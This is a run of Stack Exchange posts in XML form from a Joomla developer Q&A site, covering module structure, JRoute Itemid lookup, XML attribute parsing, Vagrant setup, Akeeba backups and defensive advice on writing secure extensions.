  <row Id="661" PostTypeId="2" ParentId="655" CreationDate="2014-05-07T07:27:43.693" Score="17" Body="&lt;h1&gt;Learning Joomla Module Development&lt;/h1&gt;&#xA;&lt;p&gt;The way I learned, was by studying and customizing the core or other 3rd party modules.&lt;br /&gt;&#xA;Modules as concept are simpler than the components (which we could say are 2 apps front-end/back-end) and are designed to display a piece of information.&lt;br /&gt;&#xA;So if you open the module folder/files and start reading the code, you will probably get fast into it.&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Module Anatomy by example&lt;/h2&gt;&#xA;&lt;p&gt;For example, you can open the &lt;strong&gt;Latest Articles Module&lt;/strong&gt; in Joomla 3.2 and check its code, while reading the lines below.&#xA;In the module's folder we will find the 4 basic files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;mod_articles_latest.php&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;2. &lt;code&gt;helper.php&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;3. &lt;code&gt;tmpl/default.php&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;4. &lt;code&gt;mod_articles_latest.xml&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;mod_articles_latest.php&lt;/code&gt;&lt;/strong&gt; is the main file of the modules, the one that is used first when the module is called. It initializes the module and includes the &lt;code&gt;helper.php&lt;/code&gt;, call the helper's class method to retrieve data and finally includes the template of the module (&lt;code&gt;default.php&lt;/code&gt;) to display the data.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;helper.php&lt;/code&gt;&lt;/strong&gt; file is the &amp;quot;machinery&amp;quot; of the module (if we could name it so). In the helper we create the module's class and its methods to retrieve the data. This is the place where we can have the module &amp;quot;talk&amp;quot; with the database. Reading the code in this module's helper file, you will see that it contains the &lt;strong&gt;&lt;code&gt;ModArticlesLatestHelper&lt;/code&gt; Class&lt;/strong&gt;, which has one &lt;strong&gt;Method : &lt;code&gt;getList(&amp;amp;$params)&lt;/code&gt;&lt;/strong&gt;.&lt;br /&gt;&#xA;Within this method the module is checking for the backend settings of the module, and eventually build the list of the articles it will return, based on these conditions. Note that this module uses the &lt;strong&gt;&lt;code&gt;JModelLegacy::getInstance&lt;/code&gt;&lt;/strong&gt; method to return the &lt;strong&gt;Content Model Object&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;&lt;code&gt;default.php&lt;/code&gt;&lt;/strong&gt; is the main template of the module and responsible to display the module's content. - Here we build the html output, using the data you retrieved previously in the &lt;code&gt;mod_articles_latest.php&lt;/code&gt; by calling the module's class. It is located inside the &lt;strong&gt;tmpl&lt;/strong&gt; folder. *Notice that the main module's file includes the template file with the &lt;strong&gt;&lt;code&gt;JModuleHelper::getLayoutPath&lt;/code&gt;&lt;/strong&gt; method, which first will check for any template overrides.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, the &lt;strong&gt;&lt;code&gt;mod_articles_latest.xml&lt;/code&gt;&lt;/strong&gt; I would call it like the &amp;quot;ambassador&amp;quot; of the module. It is the file that &amp;quot;introduces&amp;quot; the module to Joomla during installation, it specifies the files that will be copied by the installer, and also contains the information about the parameters of the module that are used by the module manager, as well additional information about the module.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These are the essentials parts of a basic module. Another aspect you might want to consider is the support of multiple languages. This can be achieved by using &lt;a href=&quot;https://docs.joomla.org/Specification_of_language_files&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Language Strings and Language Translation files&lt;/strong&gt;&lt;/a&gt;. If you would have reached successfully that far, to create a basic module, then adding languages support should be pretty simple.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-07-31T11:58:02.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="662" PostTypeId="1" AcceptedAnswerId="674" CreationDate="2014-05-07T11:55:06.233" Score="14" ViewCount="14979" Body="&lt;p&gt;I have a menu item for a specific view in a custom component. Attached to this menu item I have another &lt;code&gt;Template Style&lt;/code&gt; selected, not the standard template. Accessing the view via the menu works well, as it's attaching to the URL the &lt;code&gt;Itemid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to link, using JRoute, a view with another one, however JRoute is not generating the desired URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo JRoute::_('index.php?option=com_example&amp;amp;view=reporting');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/index.php?option=com_example&amp;amp;view=reporting&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRoute&lt;/code&gt; will not append the Itemid to the URL, causing the selected template style for the menu item not to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to &quot;calculate&quot; the Itemid&lt;/strong&gt; (apart from doing a query in the table &lt;code&gt;jos_menu&lt;/code&gt; on the column &lt;code&gt;link&lt;/code&gt;) and to attach it to JRoute?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-08T22:09:50.683" Title="How to get Itemid by URL and pass it to JRoute" Tags="|joomla-2.5|jroute|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="663" PostTypeId="2" ParentId="662" CreationDate="2014-05-07T12:13:32.280" Score="2" Body="&lt;p&gt;Afaik JRoute will take the active &lt;code&gt;Itemid&lt;/code&gt; (and also the active &lt;code&gt;option&lt;/code&gt;) if none is provided. If that doesn't work, it means that the call to your code comes without Itemid to begin with.&#xA;If so, the easiest thing would be to add the Itemid to the intial call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to look up the menu item, I would not do a direct query but use JMenu instead.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-07T12:13:32.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="664" PostTypeId="1" CreationDate="2014-05-07T13:09:21.087" Score="1" ViewCount="159" Body="&lt;p&gt;I'm setting up a new developers station, but I've ran into a problem getting a Joomla installer to discover my custom library. Here is a short description of the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Vagrant, VirtualBox with Joomlatools/box installed and working&#xA;I've symlinked multiple component type extensions and discover is working fine for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I symlinked the library in the same fashion as the components, but extension manager discover isn't working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it has something to do with were my customLibName.xml manifest (right now it is located in mylib root directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! Thanks &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-08T03:28:35.537" Title="How to discover custom library using Vagrant Joomlatools/box with extension:symlink to project folder" Tags="|development|extensions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="665" PostTypeId="2" ParentId="599" CreationDate="2014-05-07T13:34:12.983" Score="2" Body="&lt;p&gt;Here is a link to the three &lt;a href=&quot;http://docs.joomla.org/Archived%3aCMS_Architecture_in_1.5_and_1.6&quot; rel=&quot;nofollow&quot;&gt;tiered architecture&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://docs.joomla.org/Component_Program_Flow&quot; rel=&quot;nofollow&quot;&gt;component program flow &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind that these are a little old. The program flow hasn't changed much, but there is some work being done on the router, so that would be something to keep your eye on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-07T13:34:12.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="666" PostTypeId="2" ParentId="584" CreationDate="2014-05-07T14:09:34.847" Score="9" Body="&lt;p&gt;So I just spent the day setting up PHPStorm for the purpose of component development. Although it was a bit of work, now that I've finished the setup my life is going to be SOOOO much easier. I don't have a tutorial to point you to, but here is the step-by-step for setting up PHPStorm with Git, VirtualBox, Vagrant, and Joomlatools/box&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install PHPStorm&lt;/li&gt;&#xA;&lt;li&gt;Install git&lt;/li&gt;&#xA;&lt;li&gt;Install VirtualBox&lt;/li&gt;&#xA;&lt;li&gt;Install Vagrant&lt;/li&gt;&#xA;&lt;li&gt;Add &lt;code&gt;git&lt;/code&gt; to your environmental variables. (If you're on windows 7 &lt;a href=&quot;http://blog.countableset.ch/2012/06/07/adding-git-to-windows-7-path/&quot; rel=&quot;noreferrer&quot;&gt;this should help&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Open PHPStorm and create a new project&lt;/li&gt;&#xA;&lt;li&gt;Open the terminal and type the following:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;vagrant box add joomlatools/box&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;8.Wait for the download to complete.Then type:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;vagrant init joomlatools/box&lt;/p&gt;&#xA;&lt;p&gt;vagrant up&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now you have a full fledged Joomla development environment with a &lt;code&gt;joomla&lt;/code&gt; command tool for installing test sites on the fly. You can find the information about using the command tool &lt;a href=&quot;https://github.com/joomlatools/joomla-console&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I hope this helps! Happy Joomla!ng&lt;/p&gt;&#xA;&lt;p&gt;I forgot to mention that if you run into a problem with getting the Virtual box to start up via the &lt;code&gt;vagrant up&lt;/code&gt; command, you should set PHPStorm to run as administrator.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-12-01T16:14:57.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="667" PostTypeId="2" ParentId="662" CreationDate="2014-05-07T14:15:24.367" Score="4" Body="&lt;p&gt;the output from JRoute will depend on what you feed it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=10&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;might return something else than&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=10&amp;amp;catid=5&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact if you have a menu item category blog listing for catid=5, the latter might give you the menu-url (I have not tested this exact url). Try with different get-parameters to get different results (sometimes very wrong, like @Fedik said)&lt;/p&gt;&#xA;" OwnerUserId="360" LastEditorUserId="75" LastEditDate="2014-05-08T22:09:50.683" LastActivityDate="2014-05-08T22:09:50.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="668" PostTypeId="1" AcceptedAnswerId="691" CreationDate="2014-05-07T15:21:08.477" Score="3" ViewCount="702" Body="&lt;p&gt;What is the best way of querying the db to generate a list of tags matching a particular parent and display on the front end as a link with tag title and id? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a custom joomla mvc component which uses two joomla tag fields: &quot;categories&quot; and &quot;collection&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have the list of tags I will then pass the tag id as a variable back to the page with jinput to limit the results in the components list view.&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="12352" LastEditDate="2019-10-08T21:00:35.103" LastActivityDate="2019-10-08T21:00:35.103" Title="How to query and display a list of nested tags for a particular parent on front end as links?" Tags="|joomla-3.x|custom-component|tags|mvc|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="669" PostTypeId="1" AcceptedAnswerId="672" CreationDate="2014-05-07T17:18:15.707" Score="6" ViewCount="1154" Body="&lt;p&gt;I need to get field attribute value from templateDetails xml . This is the field and I need the &lt;strong&gt;styles&lt;/strong&gt; attribute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;get_styles&quot; type=&quot;yjsglist&quot; default=&quot;blue|007ebd&quot; styles=&quot;blue==007ebd|red==121212&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;blue|007ebd&quot;&amp;gt;Blue&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;red|ff0000&quot;&amp;gt;Mesh&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;currently I am doing this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_xml        = simplexml_load_file('templateDetails.xml');&#xA;$get_styles     = $get_xml-&amp;gt;config-&amp;gt;fields-&amp;gt;fieldset[1];&#xA;$load_styles    ='';&#xA;foreach ($get_styles as $attribute){&#xA;    if($attribute['name'] == 'get_styles'){&#xA;        $load_styles        = get_object_vars($attribute);&#xA;        break;&#xA;    }&#xA;}&#xA;$mystyles               = explode('|',$attribute['styles']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this would be JForm::getInstance way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_xml            = JForm::getInstance('template-settings','templateDetails.xml');&#xA;$getStyles          = $get_xml-&amp;gt;getFieldAttribute('get_styles','styles' ,'default', 'params');&#xA;$mystyles           = explode('|',$getStyles);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By just looking at the code JForm::getInstance seems faster but for some reason looks like performance is slower and I think is because I was breaking the loop as soon as I found the attribute name and Jform::getInstance might be looping trough the end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note that I cannot get it from db or anywhere else since in db or from params-&gt;get I get the assigned value and I need the node attribute with all available styles.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? Is there a better/faster way to get the attribute from the above mentioned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hep is appreciated. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&#xA;Great example by David got me to following code correction as advised here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dimuthu.org/blog/2008/09/30/xpath-in-simplexml/&quot; rel=&quot;noreferrer&quot;&gt;http://www.dimuthu.org/blog/2008/09/30/xpath-in-simplexml/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_xml = simplexml_load_file('templateDetails.xml');&#xA;$styles = $get_xml-&amp;gt;xpath('//@styles');&#xA;$style = (string)$styles[0];&#xA;$mystyles = explode('|',$style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps you!&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="3" LastEditDate="2014-05-08T08:26:33.317" LastActivityDate="2014-05-08T08:26:33.317" Title="What to use , simplexml_load_file or JForm::getInstance or?" Tags="|development|performance|xml|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="670" PostTypeId="2" ParentId="662" CreationDate="2014-05-07T17:57:07.657" Score="3" Body="&lt;p&gt;The key here is to set up your components router.php file (which should be found in the root folder of your component on the front end) with logic that will search for and select the appropriate menu item. I would love to see this automatically happen, but as far as I know this isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be best to work this block of code in to some type of helper function that can be used to automatically find the best fit menu item for the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I have used in several of my custom components to get the best fit menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// I use this first empty array to avoid having unset properties in my query&#xA;$base_array = array('Itemid'=&amp;gt;'', 'option'=&amp;gt;'', 'view'=&amp;gt;'', 'layout'=&amp;gt;'', 'id'=&amp;gt;'');&#xA;&#xA;$app =&amp;amp; JFactory::getApplication();&#xA;$menu       = $app-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;&#xA;// hack to protect the actual current item as well as the search module or other places that use JRoute::_('index.php');&#xA;if (count($query)==2 &amp;amp;&amp;amp; isset($query['option']) &amp;amp;&amp;amp; isset($query['Itemid']) &amp;amp;&amp;amp; $query['option'] &amp;amp;&amp;amp; $query['Itemid']) {&#xA;    return $segments;&#xA;}&#xA;&#xA;// start with no match found&#xA;$match = false;&#xA;$match_level = 0;&#xA;&#xA;$query += $base_array;&#xA;&#xA;// we want to find a menu item for this if possible. If the active menu item is the current menu item then we should see if there is a better match.&#xA;if (empty($query['Itemid']) || ($query['Itemid'] == $active-&amp;gt;id &amp;amp;&amp;amp; empty($query['task']))) {&#xA;    // load all menu items&#xA;    $items = $menu-&amp;gt;getMenu();&#xA;&#xA;    // use the current item over others if it ties for the best match&#xA;    if ($active-&amp;gt;query['option'] == $query['option']) {&#xA;        $match_level = 1;&#xA;        $match = $active;&#xA;        if ($active-&amp;gt;query['view'] == $query['view']) {&#xA;            $match_level = 2;&#xA;            if ($active-&amp;gt;query['layout'] == $query['layout'] || ($query['layout']=='default' &amp;amp;&amp;amp; !$active-&amp;gt;query['layout'])) {&#xA;                $match_level = 3;&#xA;                if ($active-&amp;gt;query['id'] == $query['id']) {&#xA;                    $match_level = 4;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    // loop through each menu item in order&#xA;    foreach ($items as $item) {&#xA;        $item-&amp;gt;query += $base_array;&#xA;        // base check is that it is for this component&#xA;        // then cycle through each possibility finding it's match level&#xA;        if ($item-&amp;gt;query['option'] == $query['option']) {&#xA;            $item_match = 1;&#xA;            if ($item-&amp;gt;query['view'] == $query['view']) {&#xA;                $item_match = 2;&#xA;                if (!$query['layout'] &amp;amp;&amp;amp; $item-&amp;gt;query['layout']) {&#xA;                    $query['layout'] = 'default';&#xA;                }&#xA;                if ($item-&amp;gt;query['layout'] == $query['layout'] || ($query['layout']=='default' &amp;amp;&amp;amp; !$item-&amp;gt;query['layout'])) {&#xA;                    $item_match = 3;&#xA;                    if ($item-&amp;gt;query['id'] == $query['id']) {&#xA;                        $item_match = 4;&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        // if this item is a better match than our current match, set it as the best match&#xA;        if ($item_match &amp;gt; $match_level) {&#xA;            $match = $item;&#xA;            $match_level = $item_match;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    // if there is a match update Itemid to match that menu item&#xA;    if ($match) {&#xA;        $query['Itemid'] = $match-&amp;gt;id;&#xA;        $menuItem = $menu-&amp;gt;getItem($match-&amp;gt;id);&#xA;    } else {&#xA;        $menuItem = $menu-&amp;gt;getActive();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of this is kind of a mess (and I would love improvements if anyone has them!), but it gets the job done. If the current menu item is the best match, it will always stick with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise it should find the best match based on Component name -&gt; view name -&gt; layout name -&gt; id value. The further to the right it matches, the better I deem the match!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-07T17:57:07.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="671" PostTypeId="2" ParentId="669" CreationDate="2014-05-07T18:21:46.100" Score="3" Body="&lt;p&gt;use &lt;code&gt;simplexml_load_file&lt;/code&gt;&lt;br /&gt;&#xA;&lt;code&gt;JForm&lt;/code&gt; - it the class for form building and basically it the layer between you and  &lt;code&gt;simplexml&lt;/code&gt;, so it will be slower than just &lt;code&gt;simplexml_load_file&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but your code can be simpler, look at &lt;a href=&quot;http://www.php.net/manual/en/simplexmlelement.xpath.php&quot; rel=&quot;nofollow&quot;&gt;SimpleXMLElement::xpath&lt;/a&gt; for find a field, and at &lt;a href=&quot;http://www.php.net/manual/en/simplexmlelement.attributes.php&quot; rel=&quot;nofollow&quot;&gt;SimpleXMLElement::attributes&lt;/a&gt; for get all attributes or just use &lt;code&gt;(string) $field_that_you_found['style']&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="87" LastEditorUserId="87" LastEditDate="2014-05-07T18:29:29.030" LastActivityDate="2014-05-07T18:29:29.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="672" PostTypeId="2" ParentId="669" CreationDate="2014-05-07T18:31:24.343" Score="6" Body="&lt;p&gt;&lt;code&gt;JForm&lt;/code&gt; really does the same things as your more standard PHP code. If you jump into the definition for &lt;code&gt;JForm&lt;/code&gt; at &lt;code&gt;libraries/joomla/form/form.php&lt;/code&gt; and look through the functions, you will see &lt;code&gt;simplexml_load_file()&lt;/code&gt; and a loop in the function &lt;code&gt;findFields()&lt;/code&gt; that matches your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you are correct that you will probably get a performance boost from the first code. There are two reasons for this. The biggest is probably that you break once you found the value that you need. The other is that &lt;code&gt;JForm&lt;/code&gt; will add some extra processing to check for paths in the xml to load fields from and such that you don't really need but adds extra work to process.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I can think of only one possible performance boost, which would be to skip the loop entirely and use xpath to get the exact value that you want. I'm not the best at xpath, so you might want to read a bit more about that if you want to try it: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms256086%28v=vs.110%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/ms256086(v=vs.110).aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this a bit with your form data, and this should be an alternative:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_xml = simplexml_load_file('templateDetails.xml');&#xA;$styles = $get_xml-&amp;gt;xpath(&quot;//field[@name='get_styles']/@styles&quot;);&#xA;$style = (string)$styles[0];&#xA;$mystyles = explode('|',$style);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The xpath returns an array, which I grab the only instance from and force it to be a string. Then I explode it like you were.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-05-07T22:22:19.177" LastActivityDate="2014-05-07T22:22:19.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="673" PostTypeId="1" CreationDate="2014-05-07T18:39:54.610" Score="3" ViewCount="155" Body="&lt;p&gt;We have used Akeeba for some time now, however due to the size of backups many issues come up from using remote backups (S3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it less error prone when using a remote ftp backup rather then S3? From what we notice, due to the splitting of files and the typical php timeout limit of 30 seconds, even optimizing settings the backups the backup can fail roughly 20% of the time, and increase depending on the size of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also we have tried variations in the settings for the S3 backup, 20% failure rate is about as low as we can get it on any server environment (with 500mb+ sites, lower sites had less of a problem). We recently stopped using Akeeba due to this in favor of automated WHM backups but have a situation where we need to use it again. the version was in the 3.7 range when we last used it actively (it was around 80 Joomla sites with varied versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So is the process Akeeba uses for backups safer/faster with FTP/SFTP?&lt;/strong&gt; The reason I ask this question is the 20% failure rate in my opinion has nothing to do with Akeeba, but packet loss and such that leads to it failing, when creating automated backups a failure could be right when its needed most. So my thoughts are the connection through FTP/SFTP could be more reliable then HTTP.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-08T04:32:56.710" Title="Akeeba based backups, remote backup options/best practices" Tags="|extensions|backups|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="674" PostTypeId="2" ParentId="662" CreationDate="2014-05-07T19:14:49.867" Score="20" Body="&lt;p&gt;Here is a technique I used (cannot remember where I found it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$menu = $app-&amp;gt;getMenu();&#xA;$menuItem = $menu-&amp;gt;getItems( 'link', 'index.php?option=com_example&amp;amp;view=reporting', true );&#xA;echo JRoute::_('index.php?Itemid='.$menuItem-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has worked wonders for me.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-07T19:14:49.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="675" PostTypeId="1" AcceptedAnswerId="681" CreationDate="2014-05-07T19:30:04.607" Score="7" ViewCount="256" Body="&lt;p&gt;I'm curious about building CMS components on top of the Joomla! Framework mainly because I would like my components to function as standalone applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable without hacks? If not, is there a preffered way to approach this?&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2014-05-07T22:21:44.320" Title="Joomla! CMS Component with Joomla! Framework?" Tags="|cms|component|mvc|joomla-framework-1.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="676" PostTypeId="1" AcceptedAnswerId="678" CreationDate="2014-05-07T20:59:12.110" Score="7" ViewCount="247" Body="&lt;p&gt;Before I'm going to write my first extension, I would like to understand how to design it as invulnerable as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a set of rules to write safe Joomla extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine only &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot; rel=&quot;nofollow&quot;&gt;SQL injection&lt;/a&gt; as possible threat so I know that form input can be never inserted directly to SQL command 'as is'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are other vectors of attack I should be aware of when writing custom module or plugin?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2016-03-07T11:47:55.587" LastActivityDate="2016-03-07T11:47:55.587" Title="How to develop safe Joomla extension?" Tags="|development|extensions|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="677" PostTypeId="1" CreationDate="2014-05-07T21:39:54.457" Score="6" ViewCount="460" Body="&lt;p&gt;I need a component for read and unread articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when a user is logged into the Joomla site, the component should list only unread articles. If the user reads an article, it should change status from unread to read, and should not be shown in the component where your read articles are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does something like this exist? Thanks for your time!&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="22" LastEditDate="2014-05-07T23:32:35.490" LastActivityDate="2018-02-28T16:07:32.723" Title="Show only unread articles for a particular user" Tags="|extensions|articles|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="678" PostTypeId="2" ParentId="676" CreationDate="2014-05-07T21:50:03.323" Score="8" Body="&lt;p&gt;One main thing which you have pointed out is SQL Injection. This is one thing which a few people I've seen seem to miss completely and start developing using &lt;strong&gt;non&lt;/strong&gt; Joomla coding standards and start writing SQL queires using &lt;code&gt;mysql_*&lt;/code&gt; commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second thing which I kind of mentioned in the first point, which is always stick to Joomla coding standards. The only time you shouldn't is when Joomla does not provide an alternative. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, if you're extension creates a folder or file, then ensure you give them the correct permissions and do not start making folder chmod 777. This is the exact reason why K2 which is one of the most popular extensions out there was considered vulnerable and removed from JED temporarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always use tokens with forms. This will ensure that no unauthorized attacks from other sites can be executed. For more information regarding this, have a look at the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot;&gt;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're unsure of something having already run some tests, try popping along to the &lt;a href=&quot;http://codereview.stackexchange.com&quot;&gt;Code Review Stackexchange&lt;/a&gt; as there might be someone willing to check over your code for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you can do is have a look at the &lt;a href=&quot;http://vel.joomla.org/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; to see the extensions that have temporarily (until fixed) been removed from the Joomla Extensions Directory due to not being safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this gives you a little insight and good luck with your first extension&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-05-08T12:59:37.597" LastActivityDate="2014-05-08T12:59:37.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
